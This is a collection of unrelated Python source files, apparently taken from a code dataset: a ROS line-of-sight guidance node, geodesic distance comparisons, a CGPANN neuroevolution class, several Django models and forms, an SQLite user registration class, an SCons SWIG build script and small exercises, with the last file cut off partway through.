self.d_speed_pub = rospy.Publisher("/guidance/desired_speed", Float64, queue_size=10)
self.d_heading_pub = rospy.Publisher("/guidance/desired_heading", Float64, queue_size=10)
self.target_pub = rospy.Publisher("/usv_control/los/target", Pose2D, queue_size=10)
self.LOS_pub = rospy.Publisher("/usv_control/los/los", Pose2D, queue_size=10)
def gps_callback(self, gps):
self.NEDx = gps.x
self.NEDy = gps.y
self.yaw = gps.theta
def gpsref_callback(self, gps):
self.latref = gps.x
self.lonref = gps.y
def waypoints_callback(self, msg):
wp = []
leng = (msg.layout.data_offset)
for i in range(int(leng)-1):
wp.append(msg.data[i])
self.waypoint_mode = msg.data[-1] # 0 for NED, 1 for GPS, 2 for body
self.wp_array = wp
def LOSloop(self, listvar):
if self.k < len(listvar)/2:
x1 = listvar[2*self.k - 2]
y1 = listvar[2*self.k - 1]
x2 = listvar[2*self.k]
y2 = listvar[2*self.k + 1]
self.Waypointpath.x = x2
self.Waypointpath.y = y2
self.target_pub.publish(self.Waypointpath)
xpow = math.pow(x2 - self.NEDx, 2)
ypow = math.pow(y2 - self.NEDy, 2)
self.distance = math.pow(xpow + ypow, 0.5)
if self.distance > 1:
self.LOS(x1, y1, x2, y2)
else:
self.k += 1
else:
self.desired(0, self.yaw)
def LOS(self, x1, y1, x2, y2):
ak = math.atan2(y2-y1,x2-x1)
ye = -(self.NEDx - x1)*math.sin(ak) + (self.NEDy - y1)*math.cos(ak)
xe = (self.NEDx - x1)*math.cos(ak) + (self.NEDy - y1)*math.sin(ak)
delta = (self.dmax - self.dmin)*math.exp(-(1/self.gamma)*abs(ye)) + self.dmin
psi_r = math.atan(-ye/delta)
self.bearing = ak + psi_r
if (abs(self.bearing) > (math.pi)):
self.bearing = (self.bearing/abs(self.bearing))*(abs(self.bearing)-2*math.pi)
xlos = x1 + (delta+xe)*math.cos(ak)
ylos = y1 + (delta+xe)*math.sin(ak)
self.LOSpath.x = xlos
self.LOSpath.y = ylos
self.LOS_pub.publish(self.LOSpath)
self.vel = 1
if self.distance < 6:
self.vel = 0.4
self.desired(self.vel, self.bearing)
def gps_to_ned(self, lat2, lon2):
lat1 = self.latref
lon1 = self.lonref
longitud_distance = (lon1 - lon2)
y_distance = math.sin(longitud_distance) * math.cos(lat2)
x_distance = math.cos(lat1) * math.sin(lat2) - math.sin(lat1) * math.cos(lat2) * math.cos(longitud_distance)
bearing = math.atan2(-y_distance, x_distance)
phi1 = math.radians(lat1)
phi2 = math.radians(lat2)
dphi = math.radians(lat2 - lat1)
dlam = math.radians(lon2 - lon1)
a = math.sin(dphi/2)*math.sin(dphi/2) + math.cos(phi1)*math.cos(phi2)* math.sin(dlam/2)*math.sin(dlam/2)
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))
distance = 6378137 * c
nedx = distance*math.cos(bearing)
nedy = distance*math.sin(bearing)
return (nedx,nedy)
def body_to_ned(self, x, y):
p = np.array([x,y])
J = np.array([[math.cos(self.yaw), -1*math.sin(self.yaw)],[math.sin(self.yaw), math.cos(self.yaw)]])
n = J.dot(p)
nedx = n[0] + self.NEDx
nedy = n[1] + self.NEDy
return (nedx, nedy)
def desired(self, speed, heading):
self.dh = heading
self.ds = speed
self.d_heading_pub.publish(self.dh)
self.d_speed_pub.publish(self.ds)
def main():
rospy.init_node('los', anonymous=True)
rate = rospy.Rate(100) # 100hz
t = Test()
t.wp_t = []
wp_LOS = []
while not rospy.is_shutdown() and t.testing:
if t.wp_t != t.wp_array:
t.k = 1
t.wp_t = t.wp_array
wp_LOS = t.wp_t
x_0 = t.NEDx
y_0 = t.NEDy
if t.waypoint_mode == 0:
wp_LOS.insert(0,x_0)
wp_LOS.insert(1,y_0)
elif t.waypoint_mode == 1:
for i in range(0,len(wp_LOS),2):
wp_LOS[i], wp_LOS[i+1] = t.gps_to_ned(wp_LOS[i],wp_LOS[i+1])
wp_LOS.insert(0,x_0)
wp_LOS.insert(1,y_0)
elif t.waypoint_mode == 2:
for i in range(0,len(wp_LOS),2):
wp_LOS[i], wp_LOS[i+1] = t.body_to_ned(wp_LOS[i],wp_LOS[i+1])
wp_LOS.insert(0,x_0)
wp_LOS.insert(1,y_0)
if len(wp_LOS) > 1:
t.LOSloop(t.wp_t)
rate.sleep()
t.desired(0,t.yaw)
rospy.logwarn("Finished")
rospy.spin()
if __name__ == "__main__":
try:
main()
except rospy.ROSInterruptException:
pass
|
10,079 | a333b5d599462e6c102359924816c4384193675c | from math import radians, sin, cos, asin
from haversine import haversine, Unit
import numpy as np
from geopy import distance as vin
#RADIUS = 6372.8 # km
RADIUS = 6.371e6 # meters
#RADIUS = 6372.8e3 # wtf
#RADIUS = 3963 # miles
my_lat = 39.1114
my_lon = -84.4712
re_lat = 39.08961
re_lon = -84.4922799
vectors = [my_lat, my_lon, re_lat, re_lon]
expectation = '436.9641404452979' # in meters
def my_haversine(vectors):
dlat = np.radians(vectors[2] - vectors[0])
dlon = np.radians(vectors[3] - vectors[1])
my_lat = np.radians(vectors[0])
re_lat = np.radians(vectors[2])
a = np.sin(dlat/2)**2 + np.cos(my_lat) * np.cos(re_lat) * np.sin(dlon/2)**2
c = 2 * np.arcsin(np.sqrt(a))
return c * RADIUS
def euclidean(vectors):
c1 = convert(vectors[0], vectors[1])
c2 = convert(vectors[2], vectors[3])
return np.sqrt(
(c2[0] - c1[0])**2 + (c2[1] - c2[1])**2 + (c2[2] - c1[2])**2
)
def convert(lat, lon):
lat, lon = np.deg2rad(lat), np.deg2rad(lon)
R = RADIUS
x = R * np.cos(lat) * np.cos(lon)
y = R * np.cos(lat) * np.sin(lon)
z = R * np.sin(lat)
return x, y, z
def great_circle(vectors):
my_lat, my_lon, re_lat, re_lon = map(np.radians, vectors)
c = np.arccos(np.sin(my_lat) * np.sin(re_lat) + np.cos(my_lat) * \
np.cos(re_lat) * np.cos(my_lon - re_lon))
return c * RADIUS
def vincenty(vectors):
org = tuple(vectors[:2])
des = tuple(vectors[2:])
return vin.distance(org, des)
print(f'Expected: {expectation}')
print(f'My Haversine Result: {my_haversine(vectors)}')
print(f'Euclidean Result: {euclidean(vectors)}')
print(f'Haversine Result: {haversine((vectors[0], vectors[1]), (vectors[2], vectors[3])) * 1000}')
print(f'Great Circle Result: {great_circle(vectors)}')
print(f'Vincenty Result: {vincenty(vectors) * 1000}')
|
10,080 | cd09b63880a35a624a6458c96bcb7a5d155b4210 | import sys
"""
输入:
3 1
-1 1 3
1 1 3
输出:
3
https://blog.csdn.net/qq_18055167/article/details/108660179
"""
def myfun(n,xset,sset):
if n==0:
return sset[n]
res=[]
for i in range(n):
if (n-i)*d>=abs(xset[n]-xset[i]):
res.append(myfun(i,xset,sset)+sset[n])
return max(res)
n,d = map(int,sys.stdin.readline().strip().split())
xset = list(map(int,sys.stdin.readline().strip().split()))
sset=list(map(int,sys.stdin.readline().strip().split()))
# n,d=4,1
# xset=[-1,1,1,3]
# sset=[4,5,6,8]
xset.insert(0,0)
sset.insert(0,0)
res=[]
for i in range(n+1):
res.append(myfun(i,xset,sset))
print(max(res)) |
10,081 | 23b3650a875147e9dc08d6846490ab0d4c960ebd | #!/usr/bin/env python
"""Unit tests for the NameGenerator class"""
from unittest import TestCase
from mock import Mock
from puckman.name_generator import NameGenerator
class TestNameGenerator(TestCase):
def test_creation(self):
generator = NameGenerator()
self.assertIsNotNone(generator)
self.assertIsNotNone(generator.generate())
|
10,082 | a5b00cb71666b0a41ddb717f9559b68efe412b0a | """
Created on Thu Nov 14 18:48:46 2019
@author: waqas
"""
import random
import numpy as np
from math import ceil, exp
from copy import deepcopy
from sklearn.metrics import mean_squared_error
class cgpann(object):
"""
Cartesian Genetic Programming of Artificial Neural Networks
is a NeuroEvolutionary method.
The implementation of cgpann in this class is done such that
1) whole network is stored in one array/list/genotype.
2) only mutation is done for evolution. however, code for crossover is written but
commented out for anyone to try themselves in case they need.
In next versions, crossover will be done.
recurrent version will also be released in future.
plasticity will also be introduced in next versions.
...
Attributes
..........
num_features : int
total number of input features/attributes
num_outputs : int
total number of output features/attributes
nodes : int
total number of nodes/neurons in hidden layer (default 100)
connections : int
total number of allowed connections between neurons (default 2)
generations : int
number of iterations that algorithm needs to run (default 1000)
offsprings : int
genetic algorithm hyperparameter
number of childs per generation/population (default 10)
mutationRate : float between 0 to 1
genetic algorithm hyperparameter
rate of change/mutation/randomness in each genotype/child (default 0.1)
learning_rate : float between 0 to 1
learning rate is multiplied with mutated values during mutation (default 0.1)
outMutationChance : float between 0 to 1
outMutationChance means probability of output nodes directly getting mutated
This is used to increase the speed of convergence (default 0.2)
nodesPerOut : int
nodesPerOut is number of nodes that will be used for each output attribute
final value of each attribute will be average of those nodes values (default 2)
functions : int 1 or 2 or 3
possibilities of activation functions to be used
1 means only sigmoid, 2 means both sigmoid and tanh, 3 means all
sigmoid, tanh, and relu (default 1)
if gene_type = 1 i.e. simple cgp then values could be 1 or 2
1 means or function and 2 means both or and 'and' function
gene_type : int 1 or 2 or 3
type of cgpann
1 means basic cgp i.e. each node will be having only connection and function
2 means basic cgpann i.e. each node will be having connection, weight, and function
3 means full cgpann i.e. each node will be having connection, weight, switch, and function (default 2)
seed : int
random seed number for reproducibility (default 42)
verbose : bool True or False
if verbose is True then prints correlation for each iteration on train data (default True)
...
Methods
.......
Genotype()
It outputs a network having all values randomly intiailized.
initPopulation()
It outputs list containing multiple networks i.e. equal to number of offsprings
ActiveGenesNoInp()
Given genotype it outputs active nodes in it which is further used for prediction
It outputs two lists:
First list contains both input and active nodes in genotype/network (given as input).
second list contains only active nodes in genotype/network (given as input).
mutation()
Given genotype it outputs mutated genotype
Func()
a function which calls relevant appropriate activation function
logicFunc()
a function which calls relevant digital logic function in case of only cgp i.e. gene_type=1
evaluateGeneral()
It outputs predicted value given input data array and best genotype
It does that efficiently by first finding active nodes
evaluateGeneralNoActive()
It outputs predicted value given input data array and best genotype
It is very time consuming hence use evaluateGeneral instead
fit()
It outputs bestgeno and it also saves best genotype found during training locally.
further if verbose is true it pritns results for each iteration
predict()
It outputs predicted value for given input
"""
def __init__(self, num_features, num_outputs, nodes=20, connections=3, generations=100,
offsprings=10, mutationRate=0.1, learning_rate=0.1,outMutationChance=0.2,
nodesPerOut=2, functions=1, gene_type=2, seed=42, verbose=True):
self._inp = num_features
self._systemOut = num_outputs
self._out = nodesPerOut*num_outputs
self._seed = seed
self._nodes = nodes
self._connections = connections
self._functions = functions
self._gene_type = gene_type
self._offsprings = offsprings
self._mutationRate = mutationRate
self._generations = generations
self._learning_rate = learning_rate
self._outMutationChance = outMutationChance
self._verbose = verbose
self._range_node = connections*gene_type+1
def GenoType(self):
'''
Parameters
----------
None
'''
inp = self._inp
out = self._out
nodes = self._nodes
connections = self._connections
functions = self._functions
gene_type = self._gene_type
nodeFunctions=[random.randint(0,functions-1) for x in range(nodes)]
GenoType = [None for _ in range(nodes*(connections*gene_type+1)+out)]
jj = 0
for i in range(nodes):
for j in range(0,connections*gene_type,gene_type):
if gene_type == 1:
GenoType[i*(connections*gene_type+1)+j] = random.randint(0,inp+i-1) #CONNECTION
elif gene_type == 2:
GenoType[i*(connections*gene_type+1)+j] = random.randint(0,inp+i-1) #CONNECTION
GenoType[i*(connections*gene_type+1)+j+1] = random.uniform(-1,1) #WEIGHT OF CONNECTION
elif gene_type == 3:
GenoType[i*(connections*gene_type+1)+j] = random.randint(0,inp+i-1) #CONNECTION
GenoType[i*(connections*gene_type+1)+j+1] = random.uniform(-1,1) #WEIGHT OF CONNECTION
GenoType[i*(connections*gene_type+1)+j+2] = random.randint(0,1) #SWITCH OF CONNECTION
jj = j+gene_type
GenoType[i*(connections*gene_type+1)+jj] = nodeFunctions[i]
for i in range(out):
GenoType[nodes*(connections*gene_type+1)+i] = random.randint(0,inp+nodes-1)
return GenoType
def initPopulation(self):
'''
Parameters
----------
None
'''
offsprings = self._offsprings
population = []
for i in range(offsprings+1):
population.append(self.GenoType())
return population
def ActiveGenesNoInp(self,bestGeno):
'''
Parameters
----------
bestGeno : list
It accepts list containing network/genotype
'''
range_node = self._range_node
out = self._out
nodes = self._nodes
inp = self._inp
gene_type = self._gene_type
genotype = bestGeno
activeNodes = []
for i in range(out):
activeNodes.append(genotype[nodes*(range_node)+i])
activeNodesWithoutInp = [item-inp for item in activeNodes]
activeNodesWithoutInp.sort(reverse=True)
count = 0
val = activeNodesWithoutInp[count]
while(val>=0):
nodeNum = val
nodeStart = nodeNum*range_node
for ii in range(0,range_node,gene_type):
activeNodesWithoutInp.append(genotype[nodeStart+ii]-inp)
activeNodesWithoutInp = list(set(activeNodesWithoutInp))
activeNodesWithoutInp.sort(reverse=True)
count = count+1
val = activeNodesWithoutInp[count]
activeNodesWithInp = [item+inp for item in activeNodesWithoutInp] #activeNodes with input at 0 index
activeNodesWithInp = list(set(activeNodesWithInp))
activeNodesWithInp.sort(reverse=False)
activeNodesWithoutInp = [item for item in activeNodesWithoutInp if item >=0] #actuveNodes without input
activeNodesWithoutInp.sort(reverse=False)
return activeNodesWithInp, activeNodesWithoutInp
def mutation(self, parentGeno):
'''
Parameters
----------
parentGeno : list
It outputs genotype after mutating it
'''
inp = self._inp
out = self._out
nodes = self._nodes
range_node = self._range_node
functions = self._functions
gene_type = self._gene_type
mutationRate = self._mutationRate
learning_rate = self._learning_rate
outMutationChance = self._outMutationChance
select = random.uniform(0,1)
if select <= outMutationChance:
genesMutatedOut = ceil(mutationRate*out)
rndNumOut = [None for i in range(genesMutatedOut)]
rndNumOut = [random.randint(1,out) for i in range(genesMutatedOut)]
for i in rndNumOut:
parentGeno[nodes*range_node+i-1] = random.randint(0,inp+nodes-1)
else:
sizeGeno = len(parentGeno)-out
genesMutated = ceil(mutationRate*sizeGeno)
rndNum = [random.randint(1,sizeGeno) for i in range(genesMutated)]
for i in range(len(rndNum)):
nodeNo, remainder = divmod(rndNum[i],range_node)
remainder1 = remainder%3
if gene_type==1:
if remainder==0: #function
parentGeno[rndNum[i]-1] = random.randint(0,functions-1)
else: #connection
parentGeno[rndNum[i]-1] = random.randint(0,inp+nodeNo-1)
elif gene_type==2:
if remainder==0: #function
parentGeno[rndNum[i]-1] = random.randint(0,functions-1)
elif remainder % 2 == 0: #weights
parentGeno[rndNum[i]-1] += learning_rate*random.uniform(-1,1)
else: #connection
parentGeno[rndNum[i]-1] = random.randint(0,inp+nodeNo-1)
elif gene_type==3:
if remainder==0: #function
parentGeno[rndNum[i]-1] = random.randint(0,functions-1)
elif remainder1==0: #switch
parentGeno[rndNum[i]-1] = random.randint(0,1)
elif remainder1==1: #connection
parentGeno[rndNum[i]-1] = random.randint(0,inp+nodeNo-1)
elif remainder1==2: #weights
parentGeno[rndNum[i]-1] = random.uniform(-1,1)
return parentGeno
@staticmethod
def Func(summation,typeFunc):
'''
Parameters
----------
summation : float
typeFunc : int 0 or 1 or 2
0 means sigmoid, 1 means tanh, 2 means relu
'''
if typeFunc == 0:
funcVal = (1/(1+exp(-summation)))
elif typeFunc == 1:
funcVal = (2/(1+exp(-2*summation)))-1
elif typeFunc == 2:
funcVal = max(summation,0)
return funcVal
@staticmethod
def logicFunc(connections,funcVal,array1):
'''
Parameters
----------
summation : float
funcVal : int 0 or 1
0 means or, 1 means and
'''
if funcVal == 0:
funcOR = 0
for i in range(connections):
funcOR = array1[i] or funcOR
if funcVal == 1:
funcAND = 1
for i in range(connections):
funcAND = array1[i] and funcAND
def evaluateGeneral(self,x,genotype):
'''
Parameters
----------
x : array
array of input values
genotype : list
list containing network
'''
inp = self._inp
out = self._out
nodes = self._nodes
connections = self._connections
range_nodes = self._range_node
gene_type = self._gene_type
systemOut = self._systemOut
_ , activeNodesNoInp = self.ActiveGenesNoInp(genotype)
arr = np.zeros([x.shape[0],inp+nodes])
for i in range(x.shape[1]):
arr[:,i] = x[:,i]
for j in activeNodesNoInp:
funcVal = genotype[j*(range_nodes)+(range_nodes-1)]
for i in range(0,x.shape[0]):
if gene_type == 1:
array1 = np.zeros(connections)
for ii in range(0,connections,1):
array1[ii] = arr[i,genotype[j*range_nodes+ii]]
arr[i,inp+j] = self.logicFunc(connections,funcVal,array1)
else:
summation = 0
for ii in range(0,connections,gene_type):
if gene_type==2:
summation += arr[i,genotype[j*range_nodes+ii]]*genotype[j*range_nodes+ii+1]
elif gene_type == 3:
summation += arr[i,genotype[j*range_nodes+ii]]*genotype[j*range_nodes+ii+1]*genotype[j*range_nodes+ii+2]
arr[i,inp+j] = self.Func(summation,funcVal)
y_pred = np.zeros([x.shape[0],out])
for i in range(out):
y_pred[:,i] = arr[:,genotype[-i-1]]
y_pred_ave = np.zeros([x.shape[0],systemOut])
outputNodes = out/systemOut
for i in range(systemOut):
y_pred_ave[:,i] = np.mean(y_pred[:,int(i*outputNodes):int((i+1)*outputNodes)],axis=1)
return y_pred_ave
def evaluateGeneralNoActive(self,x,genotype):
'''
Parameters
----------
x : array
array of input values
genotype : list
list containing network
'''
inp = self._inp
out = self._out
nodes = self._nodes
connections = self._connections
range_nodes = self._range_node
gene_type = self._gene_type
systemOut = self._systemOut
arr = np.zeros([x.shape[0],inp+nodes])
for i in range(x.shape[1]):
arr[:,i] = x[:,i]
for j in range(nodes):
funcVal = genotype[j*(range_nodes)+(range_nodes-1)]
for i in range(0,x.shape[0]):
if gene_type == 1:
array1 = np.zeros(connections)
for ii in range(0,connections,1):
array1[ii] = arr[i,genotype[j*range_nodes+ii]]
arr[i,inp+j] = cgpann.logicFunc(connections,funcVal,array1)
else:
summation = 0
for ii in range(0,connections,gene_type):
if gene_type==2:
summation += arr[i,genotype[j*range_nodes+ii]]*genotype[j*range_nodes+ii+1]
elif gene_type == 3:
summation += arr[i,genotype[j*range_nodes+ii]]*genotype[j*range_nodes+ii+1]*genotype[j*range_nodes+ii+2]
arr[i,inp+j] = cgpann.Func(summation,funcVal)
y_pred = np.zeros([x.shape[0],out])
for i in range(out):
y_pred[:,i] = arr[:,genotype[-i-1]]
y_pred_ave = np.zeros([x.shape[0],systemOut])
outputNodes = out/systemOut
for i in range(systemOut):
y_pred_ave[:,i] = np.mean(y_pred[:,int(i*outputNodes):int((i+1)*outputNodes)],axis=1)
return y_pred_ave
def fit_data(self,X_train,y_train):
'''
Parameters
----------
X_train : array
array of input train data
y_train : array
array of output train data
'''
generations = self._generations
offsprings = self._offsprings
Population = self.initPopulation()
bestGeno = Population[0]
for iteration in range(generations):
parentGeno = deepcopy(bestGeno)
for i in range(1,offsprings):
Population[i] = self.mutation(parentGeno)
ErrorCorrelation = []
for i in range(offsprings+1):
y_pred = self.evaluateGeneral(X_train,Population[i])
err = mean_squared_error(y_train,y_pred)
ErrorCorrelation.append(err)
bestGenIndex = np.argmin(ErrorCorrelation)
if self._verbose:
print("Generation number: ", iteration+1, " is having mse: ",ErrorCorrelation[bestGenIndex])
bestGeno = deepcopy(Population[bestGenIndex])
Population[0] = deepcopy(bestGeno)
self.GenoPrediction = bestGeno
return bestGeno
def predict_data(self,x):
'''
Parameters
..........
x : array
array of test data
'''
return self.evaluateGeneral(x,self.GenoPrediction)
# Crossover Implementation
# =============================================================================
# def CrossOver(self,genotype):
#
# crossoverPercent = self.crossoverPercent
# nodes = self.nodes
# range_nodes = self.range_node
#
# crossover = []
# for indi,i in enumerate(genotype):
# crossover.append(deepcopy(i))
# for indii,ii in enumerate(genotype):
# if indi >= indii+1:
# continue
# lst1 = deepcopy(i)
# lst11 = deepcopy(ii)
# lst2 = deepcopy(i)
# lst22 = deepcopy(ii)
# lst1[:int(crossoverPercent*nodes)*range_nodes] = lst11[:int(crossoverPercent*nodes)*range_nodes]
# crossover.append(lst1)
# lst2[int(crossoverPercent*nodes)*range_nodes:] = lst22[int(crossoverPercent*nodes)*range_nodes:]
# crossover.append(lst2)
# return crossover
#
# def initializeNetworks(self):
# networks = []
# for i in range(self.network):
# #initiate population
# Population = self.initPopulation()
# networks.append(Population)
# return networks
#
# def initializeGenotype(self):
# network = self.network
# networks = self.initializeNetworks()
#
# bestGeno = []
# for i in range(network):
# bestGeno.append(networks[i][0])
#
# def fit_crossover(self,X_train,y_train):
# networks = self.initializeNetworks()
# bestGeno = self.initializeGenotype()
# offsprings = self.offsprings
#
# for iteration in range(100*2):
# if iteration < 100:
#
# for i,Population in enumerate(networks):
# parentGeno = deepcopy(bestGeno[i])
# Population[0] = deepcopy(bestGeno[i])
# for ii in range(1,offsprings+1):
# mut = self.mutation(parentGeno)
# Population[ii] = deepcopy(mut)
#
# #######################
#
# PopulationCorrelation = []
# for j in range(len(Population)):
# #activeNodesInp,activeNodesNoInp = self.ActiveGenesNoInp(Population[j])
# y_pred = self.evaluateGeneral(X_train,Population[j])
# correlation = pearsonr(y_pred[:,0],y_train[:,0])
# PopulationCorrelation.append(correlation[0])
# bestGenIndex = np.argmax(PopulationCorrelation)
# bestGeno[i] = deepcopy(Population[bestGenIndex])
#
# print(i,"correlation after simple mutation is: ",PopulationCorrelation[bestGenIndex])
# print(iteration,"_th generation")
# else:
# crossover = self.CrossOver(bestGeno)
#
# mutationDuration = 100
# for iMut in range(mutationDuration):
# for i,lst in enumerate(crossover):
# crossoverPop = []
# parentGeno = deepcopy(lst)
# crossoverPop.append(deepcopy(parentGeno))
# for ii in range(1,offsprings+1):
# mut = self.mutation(parentGeno)
# crossoverPop.append(deepcopy(mut))
#
# PopulationCorrelation = []
# for j in range(len(crossoverPop)):
# #activeNodesInp,activeNodesNoInp = self.ActiveGenesNoInp(crossoverPop[j])
# y_pred = self.evaluateGeneral(X_train,crossoverPop[j])
# correlation = pearsonr(y_pred[:,0],y_train[:,0])
# PopulationCorrelation.append(correlation[0])
# bestGenIndex = np.argmax(PopulationCorrelation)
# bestGeno[i] = deepcopy(Population[bestGenIndex])
# crossPopBest = deepcopy(crossoverPop[bestGenIndex])
# #print(j, "after mutation",correlation[0])
#
# crossover[i] = deepcopy(crossPopBest)
# print(i,"number crossover best correlation after mutation is: ",PopulationCorrelation[bestGenIndex])
# print(iMut,"_th mutation cycle")
#
# bestCrossover = []
# for j in range(len(crossover)):
# #activeNodesInp,activeNodesNoInp = self.ActiveGenesNoInp(crossover[j])
# y_pred = self.evaluateGeneral(X_train,crossover[j])
# correlation = pearsonr(y_pred[:,0],y_train[:,0])
# bestCrossover.append(correlation[0])
# bestIndex = np.argmax(bestCrossover)
# print("########################################################")
# print(iteration, "_th generation best correlation: ",bestCrossover[bestIndex])
#
# bestInd = sorted(range(len(bestCrossover)), key=lambda i: bestCrossover[i], reverse=True)[:self.network]
# for i in range(len(bestInd)):
# lst = crossover[bestInd[i]]
# bestGeno[i] = deepcopy(lst)
# =============================================================================
|
10,083 | 6c5d11067f3c4b3c0722e7da38b3d1530e54898b | from django import forms
from .models import Zadanie
class ZadanieForm(forms.ModelForm):
temat = forms.CharField(widget=forms.TextInput(attrs={"placeholder": "Wpisz temat"}))
opis = forms.CharField(widget=forms.Textarea(attrs={"placeholder": "Dodaj opis", "rows": 20, "cols": 60}))
uwagi = forms.CharField(required=False, widget=forms.Textarea(attrs={"placeholder": "Dodaj uwagi", "rows": 15, "cols": 50}))
class Meta:
model = Zadanie
fields = [
'temat',
'opis',
'uwagi',
'zrealizowany',
]
|
10,084 | f758fd44538137dee0cb4811a27d0642362edb28 |
from app import models, db
from random import randint
user = models.User(user_name='123456789')
db.session.add(user)
db.session.commit()
while 1:
answer = raw_input("Create request?\n> ")
if answer == "n":
break
else:
r = models.Request(body="Sample text, lorem impsum, all that jazz.", parishioner=user)
db.session.add(r)
db.session.commit() |
10,085 | 30ab6ece996efa052ca3ab6441537be1ced4f9cf | # Generated by Django 3.2 on 2021-04-19 01:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Communication', '0006_auto_20210415_2126'),
]
operations = [
migrations.AlterField(
model_name='contacts',
name='Whos_Phone',
field=models.CharField(blank=True, max_length=50, null=True),
),
migrations.AlterField(
model_name='contacts',
name='email',
field=models.CharField(default='#', max_length=20),
),
migrations.AlterField(
model_name='contacts',
name='home_number',
field=models.CharField(default='#', max_length=18),
),
migrations.AlterField(
model_name='contacts',
name='work_number',
field=models.CharField(default='#', max_length=18),
),
]
|
10,086 | b35478122ec803a6469afe1261c34df58c5e3a4a | from django.contrib.auth.models import AbstractUser
from django.db import models
from datetime import datetime
class User(AbstractUser):
company_name = models.CharField(max_length=64, blank=True)
first_name = models.CharField(max_length=64)
last_name = models.CharField(max_length=64)
phone = models.CharField(max_length=64)
is_breeder = models.BooleanField(default=False)
timestamp = models.DateTimeField(default=datetime.now)
favorites = models.ManyToManyField('Listing', blank=True, related_name="watchers")
def serialize(self):
return {
"id": self.id,
"email": self.email,
"company_name": self.company_name,
"first_name": self.first_name,
"last_name": self.last_name,
"phone": self.phone,
"timestamp": self.timestamp.strftime("%b %-d %Y, %-I:%M %p"),
}
class Color(models.Model):
class Meta:
verbose_name_plural = "colors"
name = models.CharField(max_length=100)
description = models.TextField(blank=True)
image_url = models.URLField(blank=True, null=True)
def __str__(self):
return self.name
class Location(models.Model):
city = models.CharField(max_length=225)
state = models.CharField(max_length=64)
def __str__(self):
return self.city + ", " + self.state
class Review(models.Model):
reviewer = models.ForeignKey(User, on_delete=models.CASCADE, related_name="reviews")
content = models.TextField(blank=True)
timestamp = models.DateTimeField(default=datetime.now, null=True, blank=True)
reviewed = models.ForeignKey(User, on_delete=models.CASCADE, null=True, related_name="reviewed")
def serialize(self):
return {
"id": self.id,
"reviewer": self.reviewer.serialize(),
"content": self.content,
"reviewed": self.reviewed.serialize(),
"timestamp": self.timestamp.strftime("%b %-d %Y, %-I:%M %p"),
}
class Listing(models.Model):
breeder = models.ForeignKey(User, on_delete=models.CASCADE, related_name="listings")
title = models.CharField(max_length=32)
description = models.TextField()
price = models.DecimalField(max_digits=9, decimal_places=2)
image_url = models.URLField(blank=True, null=True)
is_active = models.BooleanField(default=True)
color = models.ForeignKey(Color, on_delete=models.CASCADE, related_name="listings")
location = models.ForeignKey(Location, on_delete=models.CASCADE)
timestamp = models.DateTimeField(default=datetime.now)
def __str__(self):
return self.title
|
10,087 | 3c5458f803f84c25eb4aab4d35cb6042f7752020 |
import sqlite3
class User():
def __init__(self):
self.name = ''
self.password = ''
def Register(self):
konn = sqlite3.connect('User.db')
a = konn.cursor()
alllines = a.execute("select * from UserList")
user_list = []
for i in alllines:
user_list.append(i[0])
while True:
name = input('Please create your username : \n')
password = input('Please create your password : \n')
if name in user_list:
print('User name already exist! Please use another username: \n')
else:
a.execute("insert into UserList (username, password) values (?, ?)",(name, password ))
konn.commit()
break
a.close()
login = True
return [login, name, password]
def Create_user(self):
konn = sqlite3.connect('User.db')
a = konn.cursor()
a.execute("create table if not exists UserList (username, password)")
konn.commit()
def Check_user(self):
konn = sqlite3.connect('User.db')
a = konn.cursor()
alllines = a.execute("select * from UserList")
user_dict = {}
for i in alllines:
user_dict[i[0]] = i[1]
a.close()
return user_dict
|
10,088 | 649861442a8182c20e68619b1fffe6aa0cd94d6e | #!/usr/bin/python
# Project: Soar <http://soar.googlecode.com>
# Author: Jonathan Voigt <voigtjr@gmail.com>
#
import distutils.sysconfig as sysconfig
import os, os.path, sys
import SCons.Script
from ast import literal_eval
from subprocess import check_output
Import('env')
clone = env.Clone()
clone['SWIGPATH'] = clone['CPPPATH']
clone['SWIGFLAGS'] = ['-c++', '-python']
if GetOption('nosvs'):
clone['SWIGFLAGS'].append('-DNO_SVS')
python_sml_alias = clone['SML_PYTHON_ALIAS']
python_exe = GetOption('python')
if os.name == 'nt':
commands = ("distutils.sysconfig.get_python_inc()",
"os.path.join(distutils.sysconfig.get_config_vars('BINDIR')[0], 'libs')",
"'python' + distutils.sysconfig.get_config_vars('VERSION')[0]")
else:
commands = ("distutils.sysconfig.get_python_inc()",
"distutils.sysconfig.get_config_vars('LIBDIR')",
"distutils.sysconfig.get_config_vars('LIBRARY')[0]")
command = """
import distutils.sysconfig;
import os.path;
print(tuple([{}]));
""".format(", ".join(commands))
lib_install_dir = clone['OUT_DIR']
inc_path, lib_path, pylib = literal_eval(check_output((python_exe, "-c", command)).decode())
if isinstance(lib_path, list):
lib_path = lib_path[0]
clone.Append(CPPPATH = inc_path, LIBPATH = lib_path, LIBS = pylib)
if os.name == 'posix':
clone.Append(CPPFLAGS = Split('-Wno-unused -fno-strict-aliasing'))
if sys.platform == 'darwin':
clone.Replace(SHLINKFLAGS = Split('$LINKFLAGS -bundle -flat_namespace -undefined suppress'))
clone.Replace(SHLIBSUFFIX = ['.so'])
name = 'Python_sml_ClientInterface'
interface = env.File(name + '.i')
source = env.File(name + '.py')
if os.name == 'nt':
# the [:1] at the end throws away the .exp and .lib files that are generated
shlib = clone.SharedLibrary(name, interface, SHLIBPREFIX = '_', SHLIBSUFFIX = '.pyd')[:1]
else:
shlib = clone.SharedLibrary(name, interface, SHLIBPREFIX = '_')
install_source = env.Install(lib_install_dir, source)
install_lib = env.Install(lib_install_dir, shlib)
install_test = env.Install(lib_install_dir, env.File('TestPythonSML.py'))
env.Alias(python_sml_alias, install_lib + install_source + install_test)
|
10,089 | 6b49be3df50bee2f1d2960ec46f56367c7dee3e1 | n = int(input("Enter a number: "))
while n < 0:
print("Please enter a positive number starting from 0")
n = int(input("Enter a number: "))
else:
f = 1
for i in range (1, n+1):
f = f * i
print("The total factorial of", n, "is", f)
|
10,090 | caebde443e15aeede8f019be4009fc6ac86e360b | import json
import os
import numpy as np
import pandas as pd
import requests
# Get the predict result of Azure model
def predict(data_csv, scoring_uri, key):
data_list = data_csv.values.tolist()
data = {'data': data_list}
# Convert to JSON string
input_data = json.dumps(data)
# Set the content type
headers = {'Content-Type': 'application/json'}
# If authentication is enabled, set the authorization header
headers['Authorization'] = f'Bearer {key}'
# Make the request
